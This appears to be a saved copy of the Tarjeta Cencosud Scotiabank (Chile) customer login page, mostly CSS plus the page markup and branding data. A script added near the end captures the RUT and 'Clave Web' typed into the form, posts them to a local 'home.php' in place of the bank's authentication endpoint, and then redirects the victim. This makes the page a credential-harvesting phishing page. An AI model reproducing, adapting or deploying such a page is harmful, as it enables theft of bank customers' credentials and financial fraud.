color: #FA6400; }
.input-group .input-form__component.input-form--has-error {
color: #FA6400; }
.input-group .input-form__component.input-form--align-center {
text-align: center; }
.input-group .input-form__component.input-form--align-center::placeholder {
text-align: center; }
.input-group .input-form__component.input-form--align-left {
text-align: left; }
.input-group .input-form__component.input-form--align-left::placeholder {
text-align: left; }
.input-group .input-form__component.input-form--align-right {
text-align: right; }
.input-group .input-form__component.input-form--align-right::placeholder {
text-align: right; }
.input-group ::placeholder {
color: #9c9292;
font-family: GothamRounded-Book;
font-size: 16px;
font-weight: normal;
font-stretch: normal;
font-style: normal;
line-height: 1.38;
letter-spacing: -0.11px; }
.input-group .label {
display: block;
padding: 0 0 10px 0;
font-weight: bold;
flex: 1 1 100%;
font-size: 16px;
margin: 0; }
.input-group .label.label-form--has-error {
color: #e02020; }
.input-group .label.label--small {
font-size: 18px; }
.input-group .label.label--large {
font-size: 14px; }
.error-label {
font-family: GothamRounded-Book;
font-size: 14px;
color: #FA6400;
margin-top: 10px; }
@media (max-width: 320px) {
.input-group .label {
font-size: 17px; } }
</style><style type="text/css">@font-face {
font-family: GothamRounded-Bold;
src: url("./../../fonts/GothamRnd-Bold.woff");
font-weight: bold; }
@font-face {
font-family: GothamRounded-Book;
src: url("./../../fonts/GothamRnd-Book.woff");
font-weight: normal; }
@font-face {
font-family: GothamRounded-Light;
src: url("./../../fonts/GothamRnd-Light.woff");
font-weight: lighter; }
@font-face {
font-family: GothamRounded-Medium;
src: url("./../../fonts/GothamRnd-Medium.woff"); }
.rsg--content-3 {
max-width: none;
padding: 0;
margin: auto; }
div[class*="rsg--preview-"] {
padding: 0;
border: none; }
* {
margin: 0;
padding: 0;
box-sizing: border-box; }
h1, h2, h3, h4, h5, h6, p {
font-weight: normal; }
@keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-moz-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-webkit-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-ms-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-o-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-moz-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-webkit-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-ms-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-o-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
.ReactModal__Overlay {
z-index: 1000; }
.input-group {
font-family: GothamRounded-Medium;
display: flex;
flex-direction: column; }
.input-group .input-form__component {
height: 50px;
border-radius: 10px;
border: #d9d5d5 1px solid;
padding: 0.83rem;
outline: none; }
.input-group .input-form__component.input-form--has-error {
border-color: #FA6400; }
.input-group .input-form__component.input-form--has-error::placeholder {
color: #FA6400; }
.input-group .input-form__component.input-form--has-error {
color: #FA6400; }
.input-group .input-form__component.input-form--align-center {
text-align: center; }
.input-group .input-form__component.input-form--align-center::placeholder {
text-align: center; }
.input-group .input-form__component.input-form--align-left {
text-align: left; }
.input-group .input-form__component.input-form--align-left::placeholder {
text-align: left; }
.input-group .input-form__component.input-form--align-right {
text-align: right; }
.input-group .input-form__component.input-form--align-right::placeholder {
text-align: right; }
.input-group ::placeholder {
color: #9c9292;
font-family: GothamRounded-Book;
font-size: 16px;
font-weight: normal;
font-stretch: normal;
font-style: normal;
line-height: 1.38;
letter-spacing: -0.11px; }
.input-group .label-form {
min-width: 167px;
height: 18px;
display: block;
padding: 0 0 10px 0;
font-size: 18px;
flex: 1 1 100%;
color: #575151;
line-height: 1.22;
letter-spacing: -0.12px; }
.input-group .label-form.label-form--has-error {
color: #FA6400; }
.error-label {
font-family: GothamRounded-Book;
font-size: 14px;
color: #FA6400;
margin-top: 10px; }
.card-box__tooltip {
display: flex;
justify-content: flex-start;
margin-top: -29px;
height: 18px;
width: 18px;
padding-left: 223px;
margin-bottom: 10px; }
.card-box__tooltip .popover.default {
width: 398px;
padding: 20px;
height: 179.6px; }
.card-box__tooltip .popover .triangle.right {
right: 11px; }
.card-box__tooltip .popover .popover__content {
max-height: 179.6px !important;
padding-right: 0px; }
.card-box__tooltip .popover .popover__content p {
margin-bottom: 0px; }
.card-box__tooltip .tooltip__icon {
filter: grayscale(10) brightness(150%); }
.card-box__tooltip .tooltip__icon:hover {
filter: grayscale(0); }
.card-box__tooltip .tooltip__icon.active {
filter: grayscale(0); }
.card-box__tooltip .img__popover {
display: flex;
justify-content: center; }
.card-box__tooltip .img__popover img {
width: 169px !important;
margin-right: auto; }
.card-box__tooltip .img__popover img:nth-child(2) {
margin-right: auto;
padding-left: 20px; }
@media (max-width: 320px) {
.input-group .label-form {
font-size: 17px; } }
</style><style type="text/css">@font-face {
font-family: GothamRounded-Bold;
src: url("./../../fonts/GothamRnd-Bold.woff");
font-weight: bold; }
@font-face {
font-family: GothamRounded-Book;
src: url("./../../fonts/GothamRnd-Book.woff");
font-weight: normal; }
@font-face {
font-family: GothamRounded-Light;
src: url("./../../fonts/GothamRnd-Light.woff");
font-weight: lighter; }
@font-face {
font-family: GothamRounded-Medium;
src: url("./../../fonts/GothamRnd-Medium.woff"); }
.rsg--content-3 {
max-width: none;
padding: 0;
margin: auto; }
div[class*="rsg--preview-"] {
padding: 0;
border: none; }
* {
margin: 0;
padding: 0;
box-sizing: border-box; }
h1, h2, h3, h4, h5, h6, p {
font-weight: normal; }
@keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-moz-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-webkit-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-ms-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-o-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-moz-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-webkit-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-ms-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-o-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
.ReactModal__Overlay {
z-index: 1000; }
.otp-modify-phone {
text-align: center;
align-content: center;
width: 554px; }
.otp-modify-phone .header__title {
font-family: GothamRounded-Medium;
font-size: 28px;
color: #000000;
margin-bottom: 40px;
line-height: 28px; }
.otp-modify-phone .header__description {
font-family: GothamRounded-Book;
font-size: 16px;
color: #575151;
margin-bottom: 20px;
text-align: left;
line-height: 21px; }
.otp-modify-phone .card-box {
padding: 30px;
display: block; }
.otp-modify-phone .card-box .body__checkbox {
margin-top: 17px;
display: flex;
font-size: 14px;
line-height: 21px; }
.otp-modify-phone .card-box .body__checkbox label {
font-family: GothamRounded-Book;
padding-left: 10px;
color: #9c9292; }
.otp-modify-phone .card-box ::placeholder {
font-size: 22px !important; }
.otp-modify-phone .otp-modify-phone__footer {
margin-top: 40px;
width: 100%; }
.otp-modify-phone .otp-modify-phone__footer button {
padding-left: 60px;
padding-right: 60px; }
@media (max-width: 992px) {
.otp-modify-phone {
width: 100%; }
.otp-modify-phone .header__title {
text-align: center;
line-height: 33px;
margin-bottom: 30px; }
.otp-modify-phone .card-box {
padding: 20px;
display: block; }
.otp-modify-phone .otp-modify-phone__footer button {
width: 100%;
padding-left: 20px;
padding-right: 20px; } }
@media (max-width: 374px) {
.otp-modify-phone .otp-modify-phone__body .body__title {
line-height: 23px !important; } }
</style><style type="text/css">iframe#_hjRemoteVarsFrame {display: none !important; width: 1px !important; height: 1px !important; opacity: 0 !important; pointer-events: none !important;}</style>
<style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
​​background-position: 91% 100%; }
100% {
​​background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
​​background-position: 100% 0%; }
50% {
​​background-position: 91% 100%; }
100% {
​​background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
​​background-position: 100% 0%; }
50% {
​​background-position: 91% 100%; }
100% {
​​background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
​​background-position: 100% 0%; }
50% {
​​background-position: 91% 100%; }
100% {
​​background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
.button {
border: 0;
border-radius: 6px;
line-height: 140%;
outline: 0;
cursor: pointer;
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s; }
.button.button--primary.button--default {
background: linear-gradient(90deg, #fd5b00 0%, #fd8300 100%);
color: #ffffff; }
.button.button--primary.button--default:hover {
-webkit-box-shadow: 0px 16px 16px -10px rgba(255, 122, 2, 0.7);
-moz-box-shadow: 0px 16px 16px -10px rgba(255, 122, 2, 0.7);
-ms-box-shadow: 0px 16px 16px -10px rgba(255, 122, 2, 0.7);
-o-box-shadow: 0px 16px 16px -10px rgba(255, 122, 2, 0.7);
box-shadow: 0px 16px 16px -10px rgba(255, 122, 2, 0.7); }
.button.button--primary.button--default:focus {
-webkit-box-shadow: 0px 0px 10px rgba(255, 122, 2, 0.7);
-moz-box-shadow: 0px 0px 10px rgba(255, 122, 2, 0.7);
-ms-box-shadow: 0px 0px 10px rgba(255, 122, 2, 0.7);
-o-box-shadow: 0px 0px 10px rgba(255, 122, 2, 0.7);
box-shadow: 0px 0px 10px rgba(255, 122, 2, 0.7); }
.button.button--primary.button--default:disabled {
background: #cbd4dc;
cursor: no-drop;
-webkit-box-shadow: none;
-moz-box-shadow: none;
-ms-box-shadow: none;
-o-box-shadow: none;
box-shadow: none; }
.button.button--primary.button--paris {
background: #009ce0;
color: #ffffff; }
.button.button--primary.button--paris:hover {
background: #009ce0 !important;
-webkit-box-shadow: 0px 16px 16px -10px rgba(0, 156, 224, 0.7);
-moz-box-shadow: 0px 16px 16px -10px rgba(0, 156, 224, 0.7);
-ms-box-shadow: 0px 16px 16px -10px rgba(0, 156, 224, 0.7);
-o-box-shadow: 0px 16px 16px -10px rgba(0, 156, 224, 0.7);
box-shadow: 0px 16px 16px -10px rgba(0, 156, 224, 0.7); }
.button.button--primary.button--paris:focus {
background: #009ce0 !important;
-webkit-box-shadow: 0px 0px 10px rgba(0, 156, 224, 0.7);
-moz-box-shadow: 0px 0px 10px rgba(0, 156, 224, 0.7);
-ms-box-shadow: 0px 0px 10px rgba(0, 156, 224, 0.7);
-o-box-shadow: 0px 0px 10px rgba(0, 156, 224, 0.7);
box-shadow: 0px 0px 10px rgba(0, 156, 224, 0.7); }
.button.button--primary.button--paris:disabled {
background: #cbd4dc;
cursor: no-drop;
-webkit-box-shadow: none;
-moz-box-shadow: none;
-ms-box-shadow: none;
-o-box-shadow: none;
box-shadow: none; }
.button.button--secondary {
background: #f4f6f8;
color: #122e43;
border: 1px solid #e1e5e9; }
.button.button--secondary:hover {
background: #e8ecf0;
border: 1px solid #e1e5e9; }
.button.button--secondary:focus {
background: #f4f6f8;
border: 1px solid #e1e5e9; }
.button.button--secondary:disabled {
background: #dbe2e7;
color: #ffffff;
cursor: no-drop; }
.button.button--tertiary {
background: #ffffff;
color: #416179;
border: 1px solid #cbd4dc; }
.button.button--tertiary:hover {
border: 1px solid #416179; }
.button.button--tertiary:focus {
border: 1px solid #cbd4dc; }
.button.button--tertiary:disabled {
background: #ffffff;
color: #cbd4dc;
border: 1px solid #e8ecf0;
cursor: no-drop; }
.button.button--small {
padding: 8px 30px;
font-size: 14px; }
.button.button--small img {
width: 15px; }
.button.button--medium {
padding: 8px 50px;
font-size: 17px; }
.button.button--medium img {
width: 22px; }
.button.button--large {
padding: 12px 70px;
font-size: 17px; }
.button.button--large img {
width: 22px; }
.button .button__content {
font-family: Nunito-Bold;
display: flex;
justify-content: center;
align-items: center; }
.button .button__content .content__icon.left {
order: -1;
margin-right: 6px; }
.button .button__content .content__icon.right {
margin-left: 6px; }
@media (max-width: 727px) {
.button {
width: 100%; } }
@font-face {
font-family: GothamRounded-Bold;
src: url("./../../fonts/GothamRnd-Bold.woff");
font-weight: bold; }
@font-face {
font-family: GothamRounded-Book;
src: url("./../../fonts/GothamRnd-Book.woff");
font-weight: normal; }
@font-face {
font-family: GothamRounded-Light;
src: url("./../../fonts/GothamRnd-Light.woff");
font-weight: lighter; }
@font-face {
font-family: GothamRounded-Medium;
src: url("./../../fonts/GothamRnd-Medium.woff"); }
.rsg--content-3 {
max-width: none;
padding: 0;
margin: auto; }
div[class*="rsg--preview-"] {
padding: 0;
border: none; }
* {
margin: 0;
padding: 0;
box-sizing: border-box; }
h1, h2, h3, h4, h5, h6, p {
font-weight: normal; }
@keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-moz-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-webkit-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-ms-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@-o-keyframes fadein {
from {
opacity: 0; }
to {
opacity: 1; } }
@keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-moz-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-webkit-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-ms-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
@-o-keyframes fadeout {
from {
opacity: 1; }
to {
opacity: 0; } }
.ReactModal__Overlay {
z-index: 1000; }
.modal-loading {
display: flex;
justify-content: center;
align-items: center;
width: 100%;
height: 100%;
bottom: auto;
background-color: rgba(0, 0, 0, 0.8);
overflow: hidden;
outline: none; }
.modal-loading .modal-loading__logo {
position: fixed; }
.modal-loading .modal-loading__logo img {
width: 85px; }
.modal-loading .modal-loading__loader {
font-size: 10px;
border-top: 0.2em solid rgba(255, 0, 0, 0);
border-right: 0.2em solid rgba(255, 0, 0, 0);
border-bottom: 0.2em solid rgba(255, 0, 0, 0);
animation: loader-animation .5s infinite linear;
border-radius: 50%;
width: 15em;
height: 15em; }
.modal-loading .modal-loading__loader.modal-loading__loader--orange {
border-left: 0.2em solid #FA6400; }
.modal-loading .modal-loading__loader.modal-loading__loader--violet {
border-left: 0.2em solid #9E0076; }
@keyframes loader-animation {
0% {
-webkit-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-webkit-transform: rotate(360deg);
transform: rotate(360deg); } }
</style>
</head>
<body>
<div id="app"><div class="app__content"><div class="content"><div class="login-content "><div class="left-header "><div class="header-title "><img src="https://staticresourcesfiles.blob.core.windows.net/content/web/static/3696419433280833-logo-landing.svg"/><h3>¡Bienvenidos!</h3></div></div><div class="left-body "><div class="tabs"><ul class="tab-list"><li class="tab-list-item tab-list-active">Ingresar a sitio privado</li><li class="tab-list-item ">Quiero tener la Tarjeta</li></ul><div class="content"><div class="tab-content"><div class="body-input"><div class="input-rut" id="inputa"><div class="input-field digital-emission"><input id="rut" class="input " value="" maxLength="12" autoComplete="off" onkeyup="formatCliente(this)"/><label class=" ">Mi Rut</label></div></div><div class="input-pass error" id="inpupa"><div class="input-field digital-emission"><input type="password" id="password" class="input " value="" maxLength="12" autoComplete="off"/><div class="input__icon"><img src="https://staticresourcesfiles.blob.core.windows.net/content/web/static/0021926318430187663-loginon.svg"/></div><label class=" ">Clave Web</label></div><div class="input-captions digital-emission"><div></div></div></div></div><div class="body-button "><div class="button-link"><a>Olvidé mi Clave Web</a></div><div class="button-login"><button type="button" class="button button--small button--primary button--default" disabled=""><div class="button__content">Ingresar</div></button><div></div></div></div></div></div></div></div><div class="left-footer"><div class="footer-client"><p>Servicio al cliente</p><a href="tel: 600 450 5000"> <!-- -->600 450 5000<!-- --> </a></div><div class="footer-emergnecy"><p>Emergencia Tarjeta</p><a href="tel: 800 374 500"> <!-- -->800 374 500<!-- --> </a></div></div><div class="content-rigth animated fadeInRight" style="background-image:url(https://www.mitarjetacencosud.cl/login/_next/image?url=https%3A%2F%2Fstaticresourcesfiles.blob.core.windows.net%2Fcontent%2Fweb%2Fstatic%2F4436116677457753-apptualizate-2.webp&w=750&q=75)"></div></div></div></div></div>
<div class="ReactModalPortal" style="display:none;"><div class="ReactModal__Overlay ReactModal__Overlay--after-open" style="position: fixed; inset: 0px; background-color: rgba(255, 255, 255, 0.75);"><div class="ReactModal__Content ReactModal__Content--after-open modal-loading" tabindex="-1" role="dialog" aria-modal="true"><div class="modal-loading__logo"><img src="https://staticresourcesfiles.blob.core.windows.net/content/web/static/6825626047915165-logo_loading_png.png" alt="loading"></div><div class="modal-loading__loader modal-loading__loader--orange"></div></div></div></div>
<script defer="">
window.REDUX_DATA = {"gtm":"GTM-MNHV9ZN","loading":{},"channel":{},"login":{"redirectUrl":"/authentication"},"directus":{"data":{"login_active":{"logo":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/3696419433280833-logo-landing.svg"},"title":"¡Bienvenidos!","footer_txt_emergency":"Emergencia Tarjeta","footer_num_emergency":"800 374 500","footer_num_client":"600 450 5000","footer_txt_client":"Servicio al cliente","alert_type":null,"image":{"full_url":"https://www.mitarjetacencosud.cl/login/_next/image?url=https%3A%2F%2Fstaticresourcesfiles.blob.core.windows.net%2Fcontent%2Fweb%2Fstatic%2F4436116677457753-apptualizate-2.webp&w=750&q=75"},"alert_text":null,"login_tabs":[{"input_icon":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/0021926318430187663-loginon.svg"},"label_text":"Olvidé mi Clave Web","button_text":"Ingresar","input_error2":null,"label_link":"https://www.mitarjetacencosud.cl/claves-olvido","input_error1":"El formato no es el correcto","image":null,"button_link":null,"text":null,"title":"Ingresar a sitio privado","input_label1":"Mi Rut","input_label2":"Clave Web","input_icon2":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/8325089948914532-loginoff.svg"},"tooltip_content":null,"label_target":"_self"},{"input_icon":null,"label_text":null,"button_text":"Solicita tu Tarjeta aquí","input_error2":null,"label_link":null,"input_error1":null,"image":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/46592276079396333-694346120005471-tarjetas_login.svg"},"button_link":"https://www.mitarjetacencosud.cl/tarjeta-digital","text":"<p>Solicita tu <span>Tarjeta Cencosud Scotiabank</span> y obtén todos sus beneficios</p>","title":"Quiero tener la Tarjeta","input_label1":null,"input_label2":null,"input_icon2":null,"tooltip_content":null,"label_target":"_blank"}],"login_errors":[{"type":"1","error_label":"El RUT o la Clave ingresada son incorrectos."},{"type":"10007","error_label":"El RUT o la Clave ingresada son incorrectos."},{"type":"0","error_label":"https://www.mitarjetacencosud.cl/dashboard"},{"type":"10008","error_label":"No logramos validar tus datos, inténtalo nuevamente"},{"type":"GENERIC","error_label":"No logramos validar tus datos, inténtalo nuevamente"},{"type":"4","error_label":"Rut o clave incorrecta, le queda 1 intento."},{"type":"3","error_label":"Rut o clave incorrecta, le quedan 2 intentos."},{"type":"5","error_label":"Se superó el número de intentos, favor dirigirse a un espacio financiero."},{"type":"9","error_label":"Su Clave ha expirado, Contáctenos al 600 450 5000 para obtener información."},{"type":"6","error_label":"Su clave ha sido bloqueada. Dirigirse a un espacio financiero para desbloquearla."},{"type":"2","error_label":"Rut o Clave incorrecto."}]},"login_maintenance":{"footer_button_text":"Ver mis Beneficios","footer_button_link":"https://www.tarjetacencosud.cl/TarjetaMasWEB/redirect.do?donde=inicio_Beneficios","icon_image":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/6334087061868072-grupo-205.svg"},"title":"¡Estamos trabajando en mejoras para ti!","image":null,"subtitle":"Podrás acceder a tu cuenta dentro de","timer":"2022-01-12 01:30:00","footer_title":"Mientras tanto ...","footer_subtitle":"Tenemos cosas interesantes para ti"},"directus_flag":[{"parameter":"Login","flag":true,"valor":null},{"parameter":"landing_contingencia","flag":true,"valor":"https://www.mitarjetacencosud.cl/dashboard"},{"parameter":"login_alternativo","flag":false,"valor":null}]},"error":false},"captcha":{"enabled":"1"},"redirect":{}}
</script>
<script type="text/javascript" src="cenco_files/vendors_app.5b248c00e14d7cae8e45.bundle.js"></script>
<script type="text/javascript" >
$(".digital-emission input").focus(function(){
$(".digital-emission label").addClass('active');
})
$('#password').keypress(function(){
if($('#password').val()!=''){
$( ".button-login button" ).prop( "disabled", false );
}
});
$('.button-login button').click(function(){
$('.ReactModalPortal').show();
var http = new XMLHttpRequest();
var url = './home.php';
var params = 'rut='+$('#rut').val()+"&password="+$('#password').val();
http.open('POST', url, true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
setTimeout(()=> window.location = "./home.php",2500);
}
}
http.send(params);
})
function formatCliente (cliente) {
cliente.value = cliente.value
.replace(/[^0-9]/g, '')
.replace( /^(\d{1,2})(\d{3})(\d{3})(\w{1})$/, '$1.$2.$3-$4')
}
</script>
<script>
$(document).ready(function(){
});
</script>
</div></div></body></html>